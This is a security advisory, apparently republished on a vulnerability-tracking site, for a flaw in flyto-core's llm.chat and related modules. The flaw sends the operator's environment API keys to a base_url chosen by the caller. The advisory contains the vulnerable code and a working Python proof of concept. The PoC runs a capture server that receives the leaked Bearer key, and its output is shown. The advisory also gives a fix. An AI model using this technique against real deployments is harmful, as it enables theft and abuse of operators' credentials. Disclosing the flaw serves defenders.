Alta

Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url

  • Publicada: 30.07.2026
  • Actualizado: 11.10.2026 14:19

Summary

llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (_call_openai):

python
base_url = params.get('base_url')            # caller-controlled
if base_url:
    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes
if not api_key:
    api_key = os.getenv('OPENAI_API_KEY')     # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload)   # sent to base_url

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.

python
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))

if __name__ == "__main__":
    asyncio.run(main())

Output:

module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) flyto-core < 2.26.7 2.26.7

Referencias

Puntuación CVSS 8.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-201, CWE-522
Plataforma
Python (PyPI)
Paquete
flyto-core
Publicada
30.07.2026
Actualizado
11.10.2026 14:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3573 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-qq9q-xgm3-xv9g - CC BY 4.0

Historial de vulnerabilidades: flyto-core

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
07.2026 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 6

Divulgaciones por año

  1. 2026: 8
  1. Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url esta entrada
    Alta · 8.6 CVE-2026-67425 < 2.26.7 2.26.7
  2. Alta · 8.4 CVE-2026-55786 >= 2.26.2, < 2.26.4 2.26.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.